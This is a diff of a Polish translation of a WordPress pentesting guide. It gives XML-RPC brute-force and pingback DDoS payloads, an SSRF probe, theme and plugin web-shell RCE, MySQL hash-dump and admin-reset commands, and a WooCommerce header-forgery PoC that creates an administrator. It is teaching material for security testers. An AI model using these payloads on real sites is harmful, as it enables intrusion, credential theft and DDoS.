| ### Ogólne wyodrębnianie wersji | ||||
| ### Wyodrębnianie wersji — ogólnie | ||||
| ```bash | ||||
| curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 | ||||
| 
 | ||||
| ``` | ||||
| ## Aktywna enumeracja | ||||
| 
 | ||||
| ### Plugins and Themes | ||||
| ### Wtyczki i motywy | ||||
| 
 | ||||
| Prawdopodobnie nie będziesz w stanie znaleźć wszystkich Plugins i Themes. Aby odkryć wszystkie, będziesz musiał(a) **aktywnie Brute Force listę Plugins i Themes** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają takie listy). | ||||
| Prawdopodobnie nie uda Ci się znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **actively Brute Force a list of Plugins and Themes** (miejmy nadzieję, że istnieją zautomatyzowane narzędzia zawierające te listy). | ||||
| 
 | ||||
| ### Użytkownicy | ||||
| 
 | ||||
| - **ID Brute:** Otrzymujesz prawidłowych użytkowników z serwisu WordPress poprzez Brute Forcing identyfikatorów użytkowników: | ||||
| - **ID Brute:** Uzyskujesz poprawnych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników: | ||||
| ```bash | ||||
| curl -s -I -X GET http://blog.example.com/?author=1 | ||||
| ``` | ||||
| Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, to id jest **nieprawidłowe**. | ||||
| Jeśli odpowiedzi mają status **200** lub **30X**, to oznacza, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, to id jest **nieprawidłowe**. | ||||
| 
 | ||||
| - **wp-json:** Możesz także próbować uzyskać informacje o użytkownikach, zapytując: | ||||
| - **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, zapytując: | ||||
| ```bash | ||||
| curl http://blog.example.com/wp-json/wp/v2/users | ||||
| ``` | ||||
| Inny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to: | ||||
| Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to: | ||||
| ```bash | ||||
| curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL | ||||
| ``` | ||||
| Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**. | ||||
| Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali wpis. **Dostarczone będą tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**. | ||||
| 
 | ||||
| Zwróć też uwagę, że **/wp-json/wp/v2/pages** może leak IP addresses. | ||||
| Również zwróć uwagę, że **/wp-json/wp/v2/pages** może powodować leak adresów IP. | ||||
| 
 | ||||
| - **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy podany **username** istnieje, czy nie. | ||||
| - **Login username enumeration**: Podczas logowania w **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy podany **username** istnieje czy nie. | ||||
| 
 | ||||
| ### XML-RPC | ||||
| 
 | ||||
| Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do uruchomienia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład). | ||||
| Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić brute-force poświadczeń lub użyć go do przeprowadzenia DoS na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład). | ||||
| 
 | ||||
| Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie: | ||||
| Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wysłać to żądanie: | ||||
| 
 | ||||
| **Sprawdź** | ||||
| ```html | ||||
| @ -120,9 +120,9 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ | ||||
| ``` | ||||
|  | ||||
| 
 | ||||
| **Poświadczenia Bruteforce** | ||||
| **Credentials Bruteforce** | ||||
| 
 | ||||
| **`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi z metod, które można wykorzystać do brute-force poświadczeń. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego: | ||||
| **`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi z metod, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego: | ||||
| ```html | ||||
| <methodCall> | ||||
| <methodName>wp.getUsersBlogs</methodName> | ||||
| @ -132,13 +132,13 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ | ||||
| </params> | ||||
| </methodCall> | ||||
| ``` | ||||
| Komunikat _"Incorrect username or password"_ w odpowiedzi ze statusem 200 powinien się pojawić, jeśli poświadczenia są nieprawidłowe. | ||||
| Komunikat _"Nieprawidłowa nazwa użytkownika lub hasło"_ w odpowiedzi z kodem 200 powinien się pojawić, jeśli dane logowania są nieprawidłowe. | ||||
| 
 | ||||
|  (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) | ||||
| Używając poprawnych danych logowania możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) | ||||
| ```html | ||||
| <?xml version='1.0' encoding='utf-8'?> | ||||
| <methodCall> | ||||
| @ -174,12 +174,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic | ||||
| 
 | ||||
| **Bypass 2FA** | ||||
| 
 | ||||
| Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara — w związku z tym nie obsługuje 2FA. Jeśli więc masz valid creds, ale główny dostęp jest chroniony 2FA, **możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz mógł wykonać wszystkich akcji dostępnych z poziomu konsoli, ale nadal możesz dojść do RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) | ||||
| Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli więc masz ważne creds, ale główny dostęp jest chroniony przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) | ||||
| 
 | ||||
| **DDoS or port scanning** | ||||
| 
 | ||||
| If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ | ||||
| This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port). | ||||
| This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** to **scan** some internal **network** (you can indicate any port). | ||||
| ```html | ||||
| <methodCall> | ||||
| <methodName>pingback.ping</methodName> | ||||
| @ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one * | ||||
| ``` | ||||
|  | ||||
| 
 | ||||
| Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty. | ||||
| Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty. | ||||
| 
 | ||||
| Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody i spowodować DDoS. | ||||
| Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS. | ||||
| 
 | ||||
| **DDoS** | ||||
| ```html | ||||
| @ -209,15 +209,15 @@ Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się | ||||
| 
 | ||||
| ### wp-cron.php DoS | ||||
| 
 | ||||
| Ten plik zwykle znajduje się w katalogu głównym strony Wordpress: **`/wp-cron.php`**\ | ||||
| Gdy ten plik zostanie **accessed**, wykonywane jest "**heavy**" zapytanie MySQL (**query**), więc może być użyty przez **attackers** do spowodowania **DoS**.\ | ||||
| Domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem gdy klient żąda dowolnej strony Wordpress), co na serwisach o dużym ruchu może powodować problemy (DoS). | ||||
| Ten plik zwykle znajduje się w katalogu root strony Wordpress: **`/wp-cron.php`**\ | ||||
| Kiedy do tego pliku jest **uzyskany dostęp**, wykonywane jest "**heavy**" MySQL **query**, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\ | ||||
| Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS). | ||||
| 
 | ||||
| Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów). | ||||
| Zaleca się wyłączyć Wp-Cron i utworzyć prawdziwe cronjob na hoście, które będą wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów). | ||||
| 
 | ||||
| ### /wp-json/oembed/1.0/proxy - SSRF | ||||
| 
 | ||||
| Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wykonać żądanie do Ciebie. | ||||
| Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wysłać żądanie do Ciebie. | ||||
| 
 | ||||
| This is the response when it doesn't work: | ||||
| 
 | ||||
| @ -232,30 +232,30 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go | ||||
| 
 | ||||
| To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, a jeśli tak, próbuje je wykorzystać. | ||||
| 
 | ||||
| ## Automatyczne narzędzia | ||||
| ## Narzędzia automatyczne | ||||
| ```bash | ||||
| cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" | ||||
| wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) | ||||
| #You can try to bruteforce the admin user using wpscan with "-U admin" | ||||
| ``` | ||||
| ## Uzyskaj dostęp przez nadpisanie bitu | ||||
| ## Uzyskanie dostępu przez nadpisanie bitu | ||||
| 
 | ||||
| To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Można było więc odwrócić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zastąpić operację NOT (`!`) instrukcją NOP. | ||||
| To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zastąpić operację NOT (`!`) instrukcją NOP. | ||||
| ```php | ||||
| if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { | ||||
| return new WP_Error( | ||||
| ``` | ||||
| ## **Panel RCE** | ||||
| 
 | ||||
| **Modyfikacja pliku php z używanego motywu (potrzebne dane logowania admina)** | ||||
| **Modyfikacja pliku php w używanym motywie (admin credentials needed)** | ||||
| 
 | ||||
| Wygląd → Edytor motywów → Szablon 404 (po prawej) | ||||
| Wygląd → Edytor motywu → Szablon 404 (po prawej) | ||||
| 
 | ||||
| Zmień zawartość na php shell: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Wyszukaj w internecie, jak uzyskać dostęp do tej zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) | ||||
| 
 | ||||
| ### MSF | ||||
| 
 | ||||
| @ -263,14 +263,14 @@ Możesz użyć: | ||||
| ```bash | ||||
| use exploit/unix/webapp/wp_admin_shell_upload | ||||
| ``` | ||||
| aby uzyskać sesję. | ||||
| to get a session. | ||||
| 
 | ||||
| ## RCE przez wtyczkę | ||||
| ## Plugin RCE | ||||
| 
 | ||||
| ### Wtyczka PHP | ||||
| ### PHP plugin | ||||
| 
 | ||||
| Możliwe, że da się przesłać pliki .php jako wtyczkę.   | ||||
| Utwórz swój php backdoor używając na przykład: | ||||
| Może być możliwe przesłanie plików .php jako wtyczki.\ | ||||
| Utwórz swój backdoor w PHP używając na przykład: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| @ -278,70 +278,70 @@ Następnie dodaj nową wtyczkę: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Prześlij wtyczkę i naciśnij Install Now: | ||||
| Prześlij wtyczkę i naciśnij "Install Now": | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Kliknij na Procced: | ||||
| Kliknij "Proceed": | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Prawdopodobnie to pozornie nic nie zrobi, ale jeśli przejdziesz do Media, zobaczysz przesłany shell: | ||||
| Prawdopodobnie pozornie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Otwórz go, a zobaczysz URL do uruchomienia reverse shell: | ||||
| Otwórz go, a zobaczysz URL do wykonania reverse shell: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| ### Uploading and activating malicious plugin | ||||
| 
 | ||||
| Ta metoda polega na instalacji złośliwej wtyczki, o której wiadomo, że jest podatna i którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez dashboard WordPress w następujący sposób: | ||||
| Ta metoda polega na instalacji złośliwej wtyczki znanej z podatności, którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez WordPress dashboard w następujący sposób: | ||||
| 
 | ||||
| 1. **Plugin Acquisition**: wtyczka jest pobierana ze źródła takiego jak Exploit DB jak [**here**](https://www.exploit-db.com/exploits/36374). | ||||
| 1. **Plugin Acquisition**: Wtyczka jest pobierana ze źródła takiego jak Exploit DB, np. [**here**](https://www.exploit-db.com/exploits/36374). | ||||
| 2. **Plugin Installation**: | ||||
| - Przejdź do panelu WordPress, następnie do `Dashboard > Plugins > Upload Plugin`. | ||||
| - Prześlij plik zip pobranej wtyczki. | ||||
| 3. **Plugin Activation**: Po pomyślnej instalacji wtyczkę należy aktywować przez dashboard. | ||||
| - Przejdź do pulpitu WordPress, następnie do `Dashboard > Plugins > Upload Plugin`. | ||||
| - Prześlij plik zip z pobraną wtyczką. | ||||
| 3. **Plugin Activation**: Po pomyślnej instalacji wtyczka musi zostać aktywowana poprzez pulpit. | ||||
| 4. **Exploitation**: | ||||
| - Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery" można ją wykorzystać, ponieważ jest znana z bycia podatną. | ||||
| - Metasploit framework udostępnia exploit dla tej podatności. Załadowanie odpowiedniego modułu i wykonanie specyficznych poleceń pozwala uzyskać sesję meterpreter, dając nieautoryzowany dostęp do serwisu. | ||||
| - Należy zauważyć, że to tylko jedna z wielu metod wykorzystania strony WordPress. | ||||
| - Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery" można ją wykorzystać, ponieważ jest znana z podatności. | ||||
| - Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony. | ||||
| - Należy zaznaczyć, że jest to tylko jedna z wielu metod eksploatacji strony WordPress. | ||||
| 
 | ||||
| Treść zawiera materiały wizualne przedstawiające kroki w dashboard WordPress dotyczące instalacji i aktywacji wtyczki. Jednak ważne jest, aby zaznaczyć, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i jedynie w kontekście prawnym, takich jak testy penetracyjne z wyraźną zgodą. | ||||
| Treść zawiera ilustracje przedstawiające kroki w dashboardzie WordPress związane z instalacją i aktywacją wtyczki. Ważne jest jednak, aby pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być wykorzystywane odpowiedzialnie i jedynie w kontekście prawnym, np. podczas testów penetracyjnych z wyraźnym pozwoleniem. | ||||
| 
 | ||||
| **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) | ||||
| 
 | ||||
| ## From XSS to RCE | ||||
| 
 | ||||
| - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Zapewnia **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** | ||||
| - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności typu **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. Po więcej informacji zobacz [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dostarcza **wsparcie dla wersji Wordpress 6.X.X, 5.X.X i 4.X.X i pozwala na:** | ||||
| - _**Privilege Escalation:**_ Tworzy użytkownika w WordPress. | ||||
| - _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij własną wtyczkę (backdoor) do WordPress. | ||||
| - _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowaną wtyczkę w WordPress. | ||||
| - _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowany motyw w WordPress. | ||||
| - _**(Custom) Custom Exploits:**_ Własne exploity dla third-party WordPress Plugins/Themes. | ||||
| - _**(RCE) Custom Plugin (backdoor) Upload:**_ Wgraj swój niestandardowy plugin (backdoor) do WordPress. | ||||
| - _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowane wtyczki w WordPress. | ||||
| - _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowane motywy w WordPress. | ||||
| - _**(Custom) Custom Exploits:**_ Niestandardowe exploity dla wtyczek/motywów firm trzecich WordPress. | ||||
| 
 | ||||
| ## Post Exploitation | ||||
| 
 | ||||
| Wydobądź nazwy użytkowników i hasła: | ||||
| Wyodrębnij nazwy użytkowników i hasła: | ||||
| ```bash | ||||
| mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" | ||||
| ``` | ||||
| Zmień hasło administratora: | ||||
| Zmień admin password: | ||||
| ```bash | ||||
| mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" | ||||
| ``` | ||||
| ## Wordpress Plugins Pentest | ||||
| ## Pentest wtyczek Wordpress | ||||
| 
 | ||||
| ### Powierzchnia ataku | ||||
| 
 | ||||
| Zrozumienie, w jaki sposób wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowe do odnalezienia podatności w jej działaniu. Możesz zobaczyć, w jaki sposób wtyczka może ujawniać funkcje w poniższych punktach oraz znaleźć kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). | ||||
| Znajomość sposobu, w jaki wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa do znalezienia podatności w jej funkcjonalnościach. Możesz znaleźć, jak wtyczka może udostępniać funkcje, w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). | ||||
| 
 | ||||
| - **`wp_ajax`** | ||||
| 
 | ||||
| Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługi AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które **każdy użytkownik zalogowany w instancji Wordpress może posiadać** (niezależnie od roli). | ||||
| Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, jest za pośrednictwem AJAX handlers. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często funkcje te będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które **każdy użytkownik uwierzytelniony w instancji Wordpress może mieć** (niezależnie od jego roli). | ||||
| 
 | ||||
| Oto funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce: | ||||
| To są funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce: | ||||
| ```php | ||||
| add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); | ||||
| add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); | ||||
| @ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); | ||||
| **Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).** | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany — zwykle nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do operacji wymagających wyższych uprawnień. | ||||
| > Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, to ta funkcja tylko weryfikuje, czy użytkownik jest zalogowany, zwykle nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań wymagających wyższych uprawnień. | ||||
| 
 | ||||
| - **REST API** | ||||
| 
 | ||||
| Możliwe jest również udostępnienie funkcji z wordpressa przez zarejestrowanie REST API za pomocą funkcji `register_rest_route`: | ||||
| Możliwe jest również udostępnienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji `register_rest_route`: | ||||
| ```php | ||||
| register_rest_route( | ||||
| $this->namespace, '/get/', array( | ||||
| @ -363,21 +363,21 @@ $this->namespace, '/get/', array( | ||||
| ) | ||||
| ); | ||||
| ``` | ||||
| The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. | ||||
| The `permission_callback` jest funkcją zwrotną, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. | ||||
| 
 | ||||
| **Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.** | ||||
| **Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.** | ||||
| 
 | ||||
| - **Bezpośredni dostęp do pliku php** | ||||
| - **Bezpośredni dostęp do pliku PHP** | ||||
| 
 | ||||
| Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka udostępnia podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona możliwa do wykorzystania przez każdego użytkownika. | ||||
| Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z internetu. Jeśli wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona możliwa do wykorzystania przez dowolnego użytkownika. | ||||
| 
 | ||||
| ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) | ||||
| 
 | ||||
| Niektóre wtyczki implementują skróty "trusted header" dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawienia aktualnego kontekstu użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i trafić na uprzywilejowane REST route'y jako administrator. | ||||
| Niektóre wtyczki implementują skróty “trusted header” dla integracji wewnętrznych lub reverse proxy i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i uzyskać dostęp do uprzywilejowanych tras REST jako administrator. | ||||
| 
 | ||||
| - Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora przez utworzenie nowego administratora za pomocą core users REST route. | ||||
| - Przykładowy header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza user ID 1, zazwyczaj pierwsze konto administratora). | ||||
| - Wykorzystywana ścieżka: `POST /wp-json/wp/v2/users` z tablicą z podwyższoną rolą. | ||||
| - Impact: eskalacja uprawnień bez uwierzytelnienia do administratora przez utworzenie nowego administratora za pomocą core users REST route. | ||||
| - Example header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza user ID 1, zazwyczaj pierwsze konto administratora). | ||||
| - Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. | ||||
| 
 | ||||
| PoC | ||||
| ```http | ||||
| @ -391,21 +391,21 @@ Content-Length: 114 | ||||
| 
 | ||||
| {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} | ||||
| ``` | ||||
| Dlaczego to działa | ||||
| Why it works | ||||
| 
 | ||||
| - Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzanie uprawnień. | ||||
| - WordPress core oczekuje uprawnienia `create_users` dla tej ścieżki; hack wtyczki omija to przez bezpośrednie ustawienie kontekstu bieżącego użytkownika na podstawie nagłówka. | ||||
| - The plugin maps a client-controlled header to authentication state and skips capability checks. | ||||
| - WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header. | ||||
| 
 | ||||
| Oczekiwane wskaźniki sukcesu | ||||
| Expected success indicators | ||||
| 
 | ||||
| - HTTP 201 z ciałem JSON opisującym utworzonego użytkownika. | ||||
| - Nowy użytkownik z uprawnieniami administratora widoczny w `wp-admin/users.php`. | ||||
| - HTTP 201 with a JSON body describing the created user. | ||||
| - A new admin user visible in `wp-admin/users.php`. | ||||
| 
 | ||||
| Lista kontrolna wykrywania | ||||
| Detection checklist | ||||
| 
 | ||||
| - Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). | ||||
| - Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania. | ||||
| - Szukaj użyć funkcji zarządzania użytkownikami rdzenia (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie przez wartości nagłówków. | ||||
| - Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers. | ||||
| - Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values. | ||||
| 
 | ||||
| ### Nieautoryzowane dowolne usuwanie plików przez wp_ajax_nopriv (Litho Theme <= 3.0) | ||||
| 
 | ||||
| @ -436,35 +436,35 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove | ||||
| ``` | ||||
| Problemy wprowadzone przez ten fragment: | ||||
| 
 | ||||
| * **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered. | ||||
| * **No nonce / capability check** – każdy odwiedzający może wywołać endpoint. | ||||
| * **No path sanitisation** – ciąg kontrolowany przez użytkownika `fontfamily` jest konkatenowany do filesystem path bez filtrowania, co pozwala na klasyczny `../../` traversal. | ||||
| * **Dostęp bez uwierzytelnienia** – hook `wp_ajax_nopriv_` jest zarejestrowany. | ||||
| * **Brak sprawdzenia nonce / uprawnień** – każdy odwiedzający może trafić w endpoint. | ||||
